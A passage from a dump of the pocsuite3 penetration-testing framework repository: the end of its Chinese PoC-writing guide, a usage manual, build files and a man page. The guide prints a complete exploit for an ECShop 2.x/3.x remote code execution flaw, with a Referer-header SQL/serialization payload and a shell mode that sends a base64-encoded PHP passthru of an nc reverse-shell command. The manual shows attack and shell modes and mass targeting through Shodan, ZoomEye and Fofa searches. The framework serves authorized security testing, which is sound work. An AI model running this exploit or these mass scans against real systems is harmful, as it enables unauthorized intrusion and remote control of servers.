pocsuite3.api import REVERSE_PAYLOAD|反向连接shell payload|\n|from pocsuite3.api import get_results|获取结果|\n\n**参数调用**<div id=\"api_params\"></div>\n\n* self.headers 用来获取 http 请求头， 可以通过 --cookie, --referer，--user-agent，--headers 来修改和增加需要的部分\n* self.params 用来获取 --extra-params 赋值的变量，Pocsuite3 会自动转化成字典格式，未赋值时为空字典\n* self.url 用来获取 -u / --url 赋值的 URL，如果之前赋值是 baidu.com 这样没有协议的格式时， Pocsuite3 会自动转换成 http://baidu.com\n\n##### ShellCode 生成支持\n\n在一些特殊的 Linux 和 Windows 环境下，想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86 x64 环境下的用于反弹的 shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py\n\n```python\nfrom pocsuite3.api import generate_shellcode_list\n_list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86)\n```\n\n将生成一长串执行指令，执行这些指令便可以反弹出一个 shell。\n\n##### HTTP 服务内置\n\n对于一些需要第三方 HTTP 服务才能验证的漏洞，Pocsuite3 也提供对应的API，支持在本地开启一个 HTTP 服务方便进行验证。\n\n可查看测试用例：https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py\n\n#### PoC 代码示例<div id=\"PoCexample\"></div>\n\n##### PoC Python 代码示例<div id=\"pyexample\"></div>\n\n[Ecshop 2.x/3.x Remote Code Execution](http://www.seebug.org/vuldb/ssvid-97343) PoC:\n\n```\nimport base64\nfrom urllib.parse import urljoin\n\nfrom pocsuite3.api import Output, POCBase, register_poc, requests, logger\nfrom pocsuite3.api import get_listener_ip, get_listener_port\nfrom pocsuite3.api import REVERSE_PAYLOAD\nfrom pocsuite3.lib.utils import random_str\nfrom requests.exceptions import ReadTimeout\n\n\nclass DemoPOC(POCBase):\n    vulID = '97343'  # ssvid\n    version = '3.0'\n    author = ['seebug']\n    vulDate = '2018-06-14'\n    createDate = '2018-06-14'\n    updateDate = '2018-06-14'\n    references = ['https://www.seebug.org/vuldb/ssvid-97343']\n    name = 'Ecshop 2.x/3.x Remote Code Execution'\n    appPowerLink = ''\n    appName = 'ECSHOP'\n    appVersion = '2.x,3.x'\n    vulType = 'Romote Code Execution'\n    desc = '''\n    '''\n    samples = []\n    install_requires = ['']\n\n    def _verify(self):\n        result = {}\n        path = \"user.php?act=login\"\n        url = urljoin(self.url, path)\n        echashs = [\n            '554fcae493e564ee0dc75bdf2ebf94ca',  # ECShop 2.x hash\n            '45ea207d7a2b68c49582d2d22adf953a'  # ECShop 3.x hash\n        ]\n\n        for echash in echashs:\n            payload = ('{0}ads|a:2:{{s:3:\"num\";s:116:\"*/ select 1,0x2720756E696F6E202F2A,3,4,5,'\n                       '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10'\n                       '-- -\";s:2:\"id\";s:10:\"\\' union /*\";}}{0}').format(echash)\n            headers = {\"Referer\": payload}\n            try:\n                resp = requests.get(url, headers=headers)\n                if resp and resp.status_code == 200 and \"<title>phpinfo()</title>\" in resp.text:\n                    result['VerifyInfo'] = {}\n                    result['VerifyInfo']['URL'] = url\n                    result['VerifyInfo']['Referer'] = payload\n                    break\n            except Exception as ex:\n                pass\n\n        return self.parse_output(result)\n\n    def parse_output(self, result):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n\n    def _attack(self):\n        return self._verify()\n\n    def _shell(self):\n        path = \"user.php\"\n        url = urljoin(self.url, path)\n        echashs = [\n            '554fcae493e564ee0dc75bdf2ebf94ca',  # ECShop 2.x hash\n            '45ea207d7a2b68c49582d2d22adf953a'  # ECShop 3.x hash\n        ]\n\n        cmd = REVERSE_PAYLOAD.NC.format(get_listener_ip(), get_listener_port())\n        phpcode = 'passthru(\"{0}\");'.format(cmd)\n        encoded_code = base64.b64encode(phpcode.encode())\n        postdata = {\n            'action': 'login',\n            'vulnspy': 'eval/**/(base64_decode({0}));exit;'.format(encoded_code.decode()),\n            'rnd': random_str(10)\n        }\n\n        for echash in echashs:\n            payload = '{0}ads|a:3:{{s:3:\"num\";s:207:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"'\"'\"' union/*\";s:4:\"name\";s:3:\"ads\";}}{1}'.format(echash, echash)\n            headers = {\"Referer\": payload}\n            try:\n                resp = requests.post(url, data=postdata, headers=headers)\n                if resp and resp.status_code == 200 and \"<title>phpinfo()</title>\" in resp.text:\n                    break\n            except ReadTimeout:\n                break\n            except Exception as ex:\n                pass\n\n\nregister_poc(DemoPOC)\n\n```\n\n\nHttpServer Demo:\n\n```python\n\"\"\"\nIf you have issues about development, please read:\nhttps://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md\nfor more about information, plz visit https://pocsuite.org\n\"\"\"\nfrom http.server import SimpleHTTPRequestHandler\n\nfrom pocsuite3.api import Output, POCBase, register_poc\nfrom pocsuite3.api import PHTTPServer\n\n\nclass MyRequestHandler(SimpleHTTPRequestHandler):\n    def do_GET(self):\n        path = self.path\n        status = 404\n        count = 0\n\n        xxe_dtd = '''xxx'''\n        if path == \"/xxe_dtd\":\n            count = len(xxe_dtd)\n            status = 200\n            self.send_response(status)\n            self.send_header('Content-Type', 'text/html')\n            self.send_header('Content-Length', '{}'.format(count))\n            self.end_headers()\n            self.wfile.write(xxe_dtd.encode())\n            return\n        self.send_response(status)\n        self.send_header('Content-Type', 'text/html')\n        self.send_header(\"Content-Length\", \"{}\".format(count))\n        self.end_headers()\n\n    def do_HEAD(self):\n        status = 404\n\n        if self.path.endswith('jar'):\n            status = 200\n        self.send_response(status)\n        self.send_header(\"Content-type\", \"text/html\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n\nclass DemoPOC(POCBase):\n    vulID = ''  # ssvid\n    version = '1.0'\n    author = ['seebug']\n    vulDate = '2018-03-08'\n    createDate = '2018-04-12'\n    updateDate = '2018-04-13'\n    references = ['']\n    name = ''\n    appPowerLink = ''\n    appName = ''\n    appVersion = ''\n    vulType = ''\n    desc = '''\n    '''\n    samples = []\n    install_requires = ['']\n\n    def _verify(self):\n        result = {}\n        '''Simple http server demo\n           default params:\n           \t\tbind_ip='0.0.0.0'\n           \t\tbind_port=666\n           \t\tis_ipv6=False\n           \t\tuse_https=False\n           \t\tcertfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem')\n                requestHandler=BaseRequestHandler\n           You can write your own handler, default list current directory\n        '''\n        httpd = PHTTPServer(requestHandler=MyRequestHandler)\n        httpd.start()\n\n        # Write your code\n        return self.parse_output(result)\n\n    def parse_output(self, result):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n\n    _attack = _verify\n\n\nregister_poc(DemoPOC)\n\n```\n\n\n### Pocsuite3 集成调用<div id=\"pocsuite_import\"></div>\n\nPocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数，可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下：\n\n```python\nfrom pocsuite3.api import init_pocsuite\nfrom pocsuite3.api import start_pocsuite\nfrom pocsuite3.api import get_results\n\n\ndef run_pocsuite():\n    # config 配置可参见命令行参数， 用于初始化 pocsuite3.lib.core.data.conf\n    config = {\n    'url': ['http://127.0.0.1:8080', 'http://127.0.0.1:21'],\n    'poc': ['ecshop_rce', 'ftp_burst']\n    }\n    \n    init_pocsuite(config)\n    start_pocsuite()\n    result = get_results()\n\n```\n\n### PoC 规范说明<div id=\"PoCstandard\"></div>\n\n#### PoC 编号说明<div id=\"idstandard\"></div>\nPoC 编号 ID 与漏洞 ID 一致.\n\n示例，漏洞库中的漏洞统一采用 “SSV-xxx” 编号的方式，则 PoC 编号为 xxx\n\n\n#### PoC 命名规范<div id=\"namedstandard\"></div>\n\nPoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写，所有的符号改成 `_`\n文件名不能有特殊字符和大写字母，最后出来的文件名应该像这样：\n\n```\n    _1847_seeyon_3_1_login_info_disclosure.py\n```\n#### PoC 第三方模块依赖说明<div id=\"requires\"></div>\nPoC 编写的时候要求尽量不要使用第三方模块，如果必要使用，请在 PoC 的基础信息部分，增加 install_requires 字段，按照以下格式填写依赖的模块名：\n```\ninstall_requires =[str_item_, str_item, …] # 整个字段的值为 list，每个项为一个依赖模块\n```\n\nstr_item 格式：模块名==版本号，模块名为 pip install 安装时的模块名（请不要填写 import 的模块名）\n\n如果遇到安装时模块名与调用时的不一致情况，用 `:` 分割开，例如常见的加密算法库 `pycryptodome`，但是调用是以 `from Crypto.Cipher import AES`，此时就需要如下填写：\n\n```python\ninstall_requires = ['pycryptodome:Crypto']\n```\n\n\n#### PoC 结果返回规范<div id=\"resultstandard\"></div>\n\nresult 为 PoC 返回的结果数据类型，result 返回值要求返回完整的一项，暂不符合 result 字段的情况，放入 extra 字段中，此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞，若果步骤复杂，在取证信息中说明。例如：\n\n```python\n  # 返回数据库管理员密码\n  result['DBInfo']['Password']='xxxxx'\n  # 返回 Webshell 地址\n  result['ShellInfo']['URL'] = 'xxxxx'\n  # 返回网站管理员用户名\n  result['AdminInfo']['Username']='xxxxx'\n```\n\n**extra 字段说明**<div id=\"result_extara\"></div>\nextra 字段为通用结果字段的补充字段，如果需要返回的内容中不属于通用结果字段，那么可以使用 extra 字段进行赋值。extra 字段为 dict 格式，可自定义 key 进行赋值，如：\n```\nresult['extra' ]['field'] = 'aa'\n```\n\n**特殊字段：** evidence，针对结果中返回取证信息，定义字段名只允许为 evidence，并且只能存储于 extar 字段，即：\n```\nresult['extra' ]['evidence'] = 'aa'\n```\n\n**通用字段说明**<div id=\"result_common\"></div>\n```\nresult：[\n    {  name: 'DBInfo'，        value：'数据库内容' }，\n        {  name: 'Username'，      value: '管理员用户名'},\n        {  name: 'Password'，      value：'管理员密码' }，\n        {  name: 'Salt'，          value: '加密盐值'},\n        {  name: 'Uid'，           value: '用户ID'},\n        {  name: 'Groupid'，       value: '用户组ID'},\n\n    {  name: 'ShellInfo'，     value: 'Webshell信息'},\n        {  name: 'URL'，           value: 'Webshell地址'},\n        {  name: 'Content'，       value: 'Webshell内容'},\n\n    {  name: 'FileInfo'，      value: '文件信息'},\n        {  name: 'Filename'，      value: '文件名称'},\n        {  name: 'Content'，       value: '文件内容'},\n\n    {  name: 'XSSInfo'，       value: '跨站脚本信息'},\n        {  name: 'URL'，           value: '验证URL'},\n        {  name: 'Payload'，       value: '验证Payload'},\n\n    {  name: 'AdminInfo'，     value: '管理员信息'},\n        {  name: 'Uid'，           value: '管理员ID'},\n        {  name: 'Username'，      value: '管理员用户名'},\n        {  name: 'Password'，      value: '管理员密码'},\n\n    {  name: 'Database'，      value：'数据库信息' }，\n        {  name: 'Hostname'，      value: '数据库主机名'},\n        {  name: 'Username'，      value：'数据库用户名' }，\n        {  name: 'Password'，      value: '数据库密码'},\n        {  name: 'DBname'，        value: '数据库名'},\n\n    {  name: 'VerifyInfo'，    value: '验证信息'},\n        {  name: 'Target'，        value: '验证host:port'},\n        {  name: 'URL'，           value: '验证URL'},\n        {  name: 'Postdata'，      value: '验证POST数据'},\n        {  name: 'Path'，          value: '网站绝对路径'},\n\n    {  name: 'SiteAttr'，      value: '网站服务器信息'},\n    {  name: 'Process'，       value: '服务器进程'}\n\n    ]\n\n```\n\n\n#### 漏洞类型规范<div id=\"vulcategory\"></div>\n\n<table border=1>\n    <tr><td>英文名称</td><td>中文名称</td><td>缩写</td></tr>\n    <tr><td>Cross Site Scripting </td><td> 跨站脚本 </td><td> xss</td></tr>\n    <tr><td>Cross Site Request Forgery </td><td> 跨站请求伪造 </td><td> csrf</td></tr>\n    <tr><td>SQL Injection </td><td> Sql注入 </td><td> sql-inj</td></tr>\n    <tr><td>LDAP Injection </td><td> ldap注入 </td><td> ldap-inj</td></tr>\n    <tr><td>Mail Command Injection </td><td> 邮件命令注入 </td><td> smtp-inj</td></tr>\n    <tr><td>Null Byte Injection </td><td> 空字节注入 </td><td> null-byte-inj</td></tr>\n    <tr><td>CRLF Injection </td><td> CRLF注入 </td><td> crlf-inj</td></tr>\n    <tr><td>SSI Injection </td><td> Ssi注入 </td><td> ssi-inj</td></tr>\n    <tr><td>XPath Injection </td><td> Xpath注入 </td><td> xpath-inj</td></tr>\n    <tr><td>XML Injection </td><td> Xml注入 </td><td> xml-inj</td></tr>\n    <tr><td>XQuery Injection </td><td> Xquery 注入 </td><td> xquery-inj</td></tr>\n    <tr><td>Command Execution </td><td> 命令执行 </td><td> cmd-exec</td></tr>\n    <tr><td>Code Execution </td><td> 代码执行 </td><td> code-exec</td></tr>\n    <tr><td>Remote File Inclusion </td><td> 远程文件包含 </td><td> rfi</td></tr>\n    <tr><td>Local File Inclusion </td><td> 本地文件包含 </td><td> lfi</td></tr>\n    <tr><td>Abuse of Functionality </td><td> 功能函数滥用 </td><td> func-abuse</td></tr>\n    <tr><td>Brute Force </td><td> 暴力破解 </td><td> brute-force</td></tr>\n    <tr><td>Buffer Overflow </td><td> 缓冲区溢出 </td><td> buffer-overflow</td></tr>\n    <tr><td>Content Spoofing </td><td> 内容欺骗 </td><td> spoofing</td></tr>\n    <tr><td>Credential Prediction </td><td> 证书预测 </td><td> credential-prediction</td></tr>\n    <tr><td>Session Prediction </td><td> 会话预测 </td><td> session-prediction</td></tr>\n    <tr><td>Denial of Service </td><td> 拒绝服务 </td><td> dos</td></tr>\n    <tr><td>Fingerprinting </td><td> 指纹识别 </td><td> finger</td></tr>\n    <tr><td>Format String </td><td> 格式化字符串 </td><td> format-string</td></tr>\n    <tr><td>HTTP Response Smuggling </td><td> http响应伪造 </td><td> http-response-smuggling</td></tr>\n    <tr><td>HTTP Response Splitting </td><td> http响应拆分 </td><td> http-response-splitting</td></tr>\n    <tr><td>HTTP Request Splitting </td><td> http请求拆分 </td><td> http-request-splitting</td></tr>\n    <tr><td>HTTP Request Smuggling </td><td> http请求伪造 </td><td> http-request-smuggling</td></tr>\n    <tr><td>HTTP Parameter Pollution </td><td> http参数污染 </td><td> hpp</td></tr>\n    <tr><td>Integer Overflows </td><td> 整数溢出 </td><td> int-overflow</td></tr>\n    <tr><td>Predictable Resource Location </td><td> 可预测资源定位 </td><td> res-location</td></tr>\n    <tr><td>Session Fixation </td><td> 会话固定 </td><td> session-fixation</td></tr>\n    <tr><td>URL Redirector Abuse </td><td> url重定向 </td><td> redirect</td></tr>\n    <tr><td>Privilege Escalation </td><td> 权限提升 </td><td> privilege-escalation</td></tr>\n    <tr><td>Resolve Error </td><td> 解析错误 </td><td> resolve-error</td></tr>\n    <tr><td>Arbitrary File Creation </td><td> 任意文件创建 </td><td> file-creation</td></tr>\n    <tr><td>Arbitrary File Download </td><td> 任意文件下载 </td><td> file-download</td></tr>\n    <tr><td>Arbitrary File Deletion </td><td> 任意文件删除 </td><td> file-deletion</td></tr>\n    <tr><td>Arbitrary File Read </td><td> 任意文件读取 </td><td> file-read</td></tr>\n    <tr><td>Backup File Found </td><td> 备份文件发现 </td><td> bak-file-found</td></tr>\n    <tr><td>Database Found </td><td> 数据库发现 </td><td> db-found</td></tr>\n    <tr><td>Directory Listing </td><td> 目录遍历 </td><td> dir-listing</td></tr>\n    <tr><td>Directory Traversal </td><td> 目录穿越 </td><td> dir-traversal</td></tr>\n    <tr><td>File Upload </td><td> 文件上传 </td><td> file-upload</td></tr>\n    <tr><td>Login Bypass </td><td> 登录绕过 </td><td> login-bypass</td></tr>\n    <tr><td>Weak Password </td><td> 弱密码 </td><td> weak-pass</td></tr>\n    <tr><td>Remote Password Change </td><td> 远程密码修改 </td><td> remote-pass-change</td></tr>\n    <tr><td>Code Disclosure </td><td> 代码泄漏 </td><td> code-disclosure</td></tr>\n    <tr><td>Path Disclosure </td><td> 路径泄漏 </td><td> path-disclosure</td></tr>\n    <tr><td>Information Disclosure </td><td> 信息泄漏 </td><td> info-disclosure</td></tr>\n    <tr><td>Security Mode Bypass </td><td> 安全模式绕过 </td><td> sec-bypass</td></tr>\n    <tr><td>Malware </td><td> 挂马 </td><td> mal</td></tr>\n    <tr><td>Black Link </td><td> 暗链 </td><td> black-link</td></tr>\n    <tr><td>Backdoor </td><td> 后门 </td><td> backdoor</td></tr>\n    <tr><td>Insecure Cookie Handling </td><td> 不安全的Cookie </td><td> insecure-cookie-handling</td></tr>\n    <tr><td>Shellcode </td><td> Shellcode </td><td> shellcode</td></tr>\n    <tr><td>Variable Coverage </td><td> 变量覆盖 </td><td> variable-coverage</td></tr>\n    <tr><td>Injecting Malware Codes </td><td> 恶意代码注入 </td><td> injecting-malware-codes</td></tr>\n    <tr><td>Upload Files </td><td> 文件上传 </td><td> upload-files</td></tr>\n    <tr><td>Local Overflow </td><td> 本地溢出 </td><td> local-overflow</td></tr>\n    <tr><td>Path Traversal </td><td> 目录穿越 </td><td> path-traversal</td></tr>\n    <tr><td>Unauthorized Access </td><td> 未授权访问 </td><td> unauth-access</td></tr>\n    <tr><td>Remote Overflow </td><td> 远程溢出 </td><td> remote-overflow</td></tr>\n    <tr><td>Man-in-the-middle </td><td> 中间人攻击 </td><td> mitm</td></tr>\n    <tr><td>Out of Memory </td><td> 内存溢出 </td><td> out-of-memory</td></tr>\n    <tr><td>Buffer Over-read </td><td> 缓冲区越界读 </td><td> buffer-over-read</td></tr>\n    <tr><td>Backup File Found </td><td> 备份文件泄漏 </td><td> backup-file-found</td></tr>\n    <tr><td>Use After Free </td><td> 释放后使用 </td><td> uaf</td></tr>\n    <tr><td>DNS Hijacking </td><td> DNS劫持 </td><td> dns-hijacking</td></tr>\n    <tr><td>Improper Input Validation </td><td> 不正确的输入校验 </td><td> improper-input-validation</td></tr>\n    <tr><td>Universal Cross-site Scripting </td><td> 通用型XSS </td><td> uxss</td></tr>\n    <tr><td>Server-Side Request Forgery </td><td> 服务器端请求伪造 </td><td> ssrf</td></tr>\n    <tr><td>Other </td><td> 其他 </td><td> other</td></tr>\n</table>\n\n也可以参见[漏洞类型规范](http://seebug.org/category)\n"
  },
  {
    "path": "docs/USAGE.md",
    "content": "# This document has stopped maintenance, please move to https://pocsuite.org\n\n# Usage\n\n- **pocsuite**: a cool and hackable command line program\n\n## pocsuite\n\nIt supports three modes:\n\n - ```verify```\n - ```attack```\n - ```shell```\n\nYou can also use ```pocsuite -h``` for more details.\n\n```\nusage: pocsuite [options]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  --version             Show program's version number and exit\n  --update              Update Pocsuite3\n  -n, --new             Create a PoC template\n  -v {0,1,2,3,4,5,6}    Verbosity level: 0-6 (default 1)\n\nTarget:\n  At least one of these options has to be provided to define the target(s)\n\n  -u URL [URL ...], --url URL [URL ...]\n                        Target URL/CIDR (e.g. \"http://www.site.com/vuln.php?id=1\")\n  -f URL_FILE, --file URL_FILE\n                        Scan multiple targets given in a textual file (one per line)\n  -p PORTS, --ports PORTS\n                        add additional port to each target (e.g. 8080,8443)\n  -r POC [POC ...]      Load PoC file from local or remote from seebug website\n  -k POC_KEYWORD        Filter PoC by keyword, e.g. ecshop\n  -c CONFIGFILE         Load options from a configuration INI file\n\nMode:\n  Pocsuite running mode options\n\n  --verify              Run poc with verify mode\n  --attack              Run poc with attack mode\n  --shell               Run poc with shell mode\n\nRequest:\n  Network request options\n\n  --cookie COOKIE       HTTP Cookie header value\n  --host HOST           HTTP Host header value\n  --referer REFERER     HTTP Referer header value\n  --user-agent AGENT    HTTP User-Agent header value (default random)\n  --proxy PROXY         Use a proxy to connect to the target URL (protocol://host:port)\n  --proxy-cred PROXY_CRED\n                        Proxy authentication credentials (name:password)\n  --timeout TIMEOUT     Seconds to wait before timeout connection (default 10)\n  --retry RETRY         Time out retrials times (default 0)\n  --delay DELAY         Delay between two request of one thread\n  --headers HEADERS     Extra headers (e.g. \"key1: value1\\nkey2: value2\")\n\nAccount:\n  Account options\n\n  --ceye-token CEYE_TOKEN\n                        CEye token\n  --oob-server OOB_SERVER\n                        Interactsh server to use (default \"interact.sh\")\n  --oob-token OOB_TOKEN\n                        Authentication token to connect protected interactsh server\n  --seebug-token SEEBUG_TOKEN\n                        Seebug token\n  --zoomeye-token ZOOMEYE_TOKEN\n                        ZoomEye token\n  --shodan-token SHODAN_TOKEN\n                        Shodan token\n  --fofa-user FOFA_USER\n                        Fofa user\n  --fofa-token FOFA_TOKEN\n                        Fofa token\n  --quake-token QUAKE_TOKEN\n                        Quake token\n  --hunter-token HUNTER_TOKEN\n                        Hunter token\n  --censys-uid CENSYS_UID\n                        Censys uid\n  --censys-secret CENSYS_SECRET\n                        Censys secret\n\nModules:\n  Modules options\n\n  --dork DORK           Zoomeye dork used for search\n  --dork-zoomeye DORK_ZOOMEYE\n                        Zoomeye dork used for search\n  --dork-shodan DORK_SHODAN\n                        Shodan dork used for search\n  --dork-fofa DORK_FOFA\n                        Fofa dork used for search\n  --dork-quake DORK_QUAKE\n                        Quake dork used for search\n  --dork-hunter DORK_HUNTER\n                        Hunter dork used for search\n  --dork-censys DORK_CENSYS\n                        Censys dork used for search\n  --max-page MAX_PAGE   Max page used in search API\n  --search-type SEARCH_TYPE\n                        search type used in search API, web or host\n  --vul-keyword VUL_KEYWORD\n                        Seebug keyword used for search\n  --ssv-id SSVID        Seebug SSVID number for target PoC\n  --lhost CONNECT_BACK_HOST\n                        Connect back host for target PoC in shell mode\n  --lport CONNECT_BACK_PORT\n                        Connect back port for target PoC in shell mode\n  --tls                 Enable TLS listener in shell mode\n  --comparison          Compare popular web search engines\n  --dork-b64            Whether dork is in base64 format\n\nOptimization:\n  Optimization options\n\n  -o OUTPUT_PATH, --output OUTPUT_PATH\n                        Output file to write (JSON Lines format)\n  --plugins PLUGINS     Load plugins to execute\n  --pocs-path POCS_PATH\n                        User defined poc scripts path\n  --threads THREADS     Max number of concurrent network requests (default 150)\n  --batch BATCH         Automatically choose defaut choice without asking\n  --requires            Check install_requires\n  --quiet               Activate quiet mode, working without logger\n  --ppt                 Hiden sensitive information when published to the network\n  --pcap                use scapy capture flow\n  --rule                export suricata rules, default export reqeust and response\n  --rule-req            only export request rule\n  --rule-filename RULE_FILENAME\n                        Specify the name of the export rule file\n\nPoc options:\n  definition options for PoC\n\n  --options             Show all definition options\n\n```\n\n**-f, --file URLFILE**\n\nScan multiple targets given in a textual file\n\n```\n$ pocsuite -r pocs/poc_example.py -f url.txt --verify\n```\n\n> Attack batch processing mode only need to replace the ```--verify``` to ```--attack```.\n\n**-r POCFILE**\n\nPOCFILE can be a file or Seebug SSVID. pocsuite plugin can load poc codes from any where.\n\n\n```\n$ pocsuite -r ssvid-97343 -u http://www.example.com --shell\n```\n\n**--verify**\n\nRun poc with verify mode. PoC(s) will be only used for a vulnerability scanning.\n\n```\n$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --verify\n```\n\n**--attack**\n\nRun poc with attack mode, PoC(s) will be exploitable, and it may allow hackers/researchers break into labs.\n\n```\n$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --attack\n```\n\n**--shell**\n\nRun poc with shell mode, PoC will be exploitable, when PoC shellcode successfully executed, pocsuite3 will drop into interactive shell.\n\n```\n$ pocsuite -r pocs/poc_example.py -u http://www.example.com/ --shell\n```\n\n**--threads THREADS**\n\nUsing multiple threads, the default number of threads is 150\n\n```\n$ pocsuite -r pocs/poc_example.py -f url.txt --verify --threads 10\n```\n\n**--dork DORK**\n\nIf you are a [**ZoomEye**](https://www.zoomeye.org/) user, The API is a cool and hackable interface. ex:\n\nSearch redis server with ```port:6379``` and ```redis``` keyword.\n\n\n```\n$ pocsuite --dork 'port:6379' --vul-keyword 'redis' --max-page 2\n\n```\n**--dork-shodan DORK**\n\n If you are a [**Shodan**](https://www.shodan.io/) user, The API is a cool and hackable interface. ex:\n\n Search libssh server  with  `libssh` keyword.\n\n ```\n pocsuite -r pocs/libssh_auth_bypass.py --dork-shodan libssh --threads 10\n ```\n\n**--dork-fofa DORK**\n\n If you are a [**Fofa**](fofa) user, The API is a cool and hackable interface. ex:\n\n Search web server thinkphp with  `body=\"thinkphp\"` keyword.\n\n\n ```\n $ pocsuite -r pocs/check_http_status.py --dork-fofa 'body=\"thinkphp\"' --search-type web --threads 10\n ```\n\n**--dork-quake DORK**\n\n If you are a [**Quake**](quake) user, The API is a cool and hackable interface. ex:\n\n Search web server thinkphp with  `app:\"ThinkPHP\"` keyword.\n\n\n ```\n $ pocsuite -r pocs/check_http_status.py --dork-quake 'app:\"ThinkPHP\"' --threads 10\n ```\n\n**--dork-b64**\n\n In order to solve the problem of escaping, use --dork-b64 to tell the program that you are passing in base64 encoded dork.\n \n\n```\n$ pocsuite --dork cG9ydDo2Mzc5 --vul-keyword 'redis' --max-page 2 --dork-b64\n```\n\n**--rule**\n Export suricate rules, default export reqeust and response and The poc directory is /pocs/.\n \n Use the --pocs-path parameter to set the directory where the poc needs to be ruled\n \n```\n$ pocsuite --rule\n```\n\n**--rule-req**\n In some cases, we may only need the request rule, --rule-req only export request rule.\n\n```\n$ pocsuite --rule-req\n```\n\nIf you have good ideas, please show them on your way.\n\n## Example\n\n```\ncli mode\n\n\t# basic usage, use -v to set the log level\n\tpocsuite -u http://example.com -r example.py -v 2\n\n\t# run poc with shell mode\n\tpocsuite -u http://example.com -r example.py -v 2 --shell\n\n\t# search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The threads is set to 20\n\tpocsuite -r redis.py --dork service:redis --threads 20\n\n\t# load all poc in the poc directory and save the result as html\n\tpocsuite -u http://example.com --plugins poc_from_pocs,html_report\n\n\t# load the target from the file, and use the poc under the poc directory to scan\n\tpocsuite -f batch.txt --plugins poc_from_pocs,html_report\n\n\t# load CIDR target\n\tpocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr\n\n\t# the custom parameters `command` is implemented in ecshop poc, which can be set from command line options\n\tpocsuite -u http://example.com -r ecshop_rce.py --attack --command \"whoami\"\n\nconsole mode\n    poc-console\n```\n"
  },
  {
    "path": "make.bat",
    "content": "cd %~dp0\npython3 -m pip install ."
  },
  {
    "path": "makefile",
    "content": "SRC_DIR = pocsuite3\nMAKE = make\n\n\n.PHONY: prebuildclean install build pypimeta pypi buildupload test flake8 clean\n\n\nprebuildclean:\n\t@+python -c \"import shutil; shutil.rmtree('build', True)\"\n\t@+python -c \"import shutil; shutil.rmtree('dist', True)\"\n\t@+python -c \"import shutil; shutil.rmtree('pocsuite3.egg-info', True)\"\n\ninstall:\n\tpython3 setup.py install\n\nbuild:\n\t@make prebuildclean\n\tpython3 setup.py sdist --formats=zip bdist_wheel\n\t#python3 setup.py bdist_wininst\n\npypimeta:\n\ttwine register\n\npypi:\n\ttwine upload dist/*\n\nbuildupload:\n\t@make build\n\t#@make pypimeta\n\t@make pypi\n\ntest:\n\ttox --skip-missing-interpreters\n\nflake8:\n\t@+flake8 --max-line-length=120 --exclude .asv,.tox,pocsuite3/thirdparty -j 8 --count --statistics --exit-zero pocsuite3 --ignore E501,F401,F403,W503,W605\n\nclean:\n\trm -rf *.egg-info dist build .tox\n\tfind $(SRC_DIR) tests -type f -name '*.pyc' -delete\n"
  },
  {
    "path": "manpages/poc-console.1",
    "content": ".TH POC-CONSOLE \"1\" \"Nov 2022\" \"Manual page for poc-console\"\n.\\\"\n.\\\" Nov 3, 2022\n.\\\" Man page author:\n.\\\"   13ph03nix <abcnsxyz@gmail.com>\n.\\\"\n.SH NAME\n.I poc-console\n\\- console mode of\n.B pocsuite3.\n.SH Legal Disclaimer\npoc-console is part of pocsuite3. Usage of pocsuite3 for attacking targets without prior mutual consent is illegal.\npocsuite3 is for security testing purposes only.\n.SH SYNOPSIS\n.B poc-console\n.SH DESCRIPTION\n.I poc-console is the console mode of pocsuite3.\n.I pocsuite3\nis an open-sourced remote vulnerability testing and proof-of-concept\ndevelopment framework developed by the Knownsec 404 Team. It comes with a\npowerful proof-of-concept engine, many nice features for the ultimate\npenetration testers and security researchers.\n.SH OPTIONS\npoc-console do not have command line options. To see a list of available commands,\nenter help at the console prompt.\n.SH \"SEE ALSO\"\nThe full documentation for\n.B pocsuite3\nis maintained at:\n.br\n.I https://pocsuite.org\n.PP\n.SH VERSION\nThis manual page documents pocsuite3 version 2.0.5\n.SH AUTHOR\n.br\n(c) 2014-present by Knownsec 404 Team\n.br\n<404-team@knownsec.com>\n.LP\nThis program is free software; you may redistribute and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation; Version 2 with the clarifications and\nexceptions described below. This guarantees your right to use, modify, and\nredistribute this software under certain conditions. If you wish to embed\npocsuite3 technology into proprietary software, we sell alternative licenses\n(contact 404-team@knownsec.com).\n.PP\nManual page started by 13ph03nix\n<abcnsxyz@gmail.com>\n.PP\n\n"
  },
  {
    "path": "manpages/pocsuite.1",
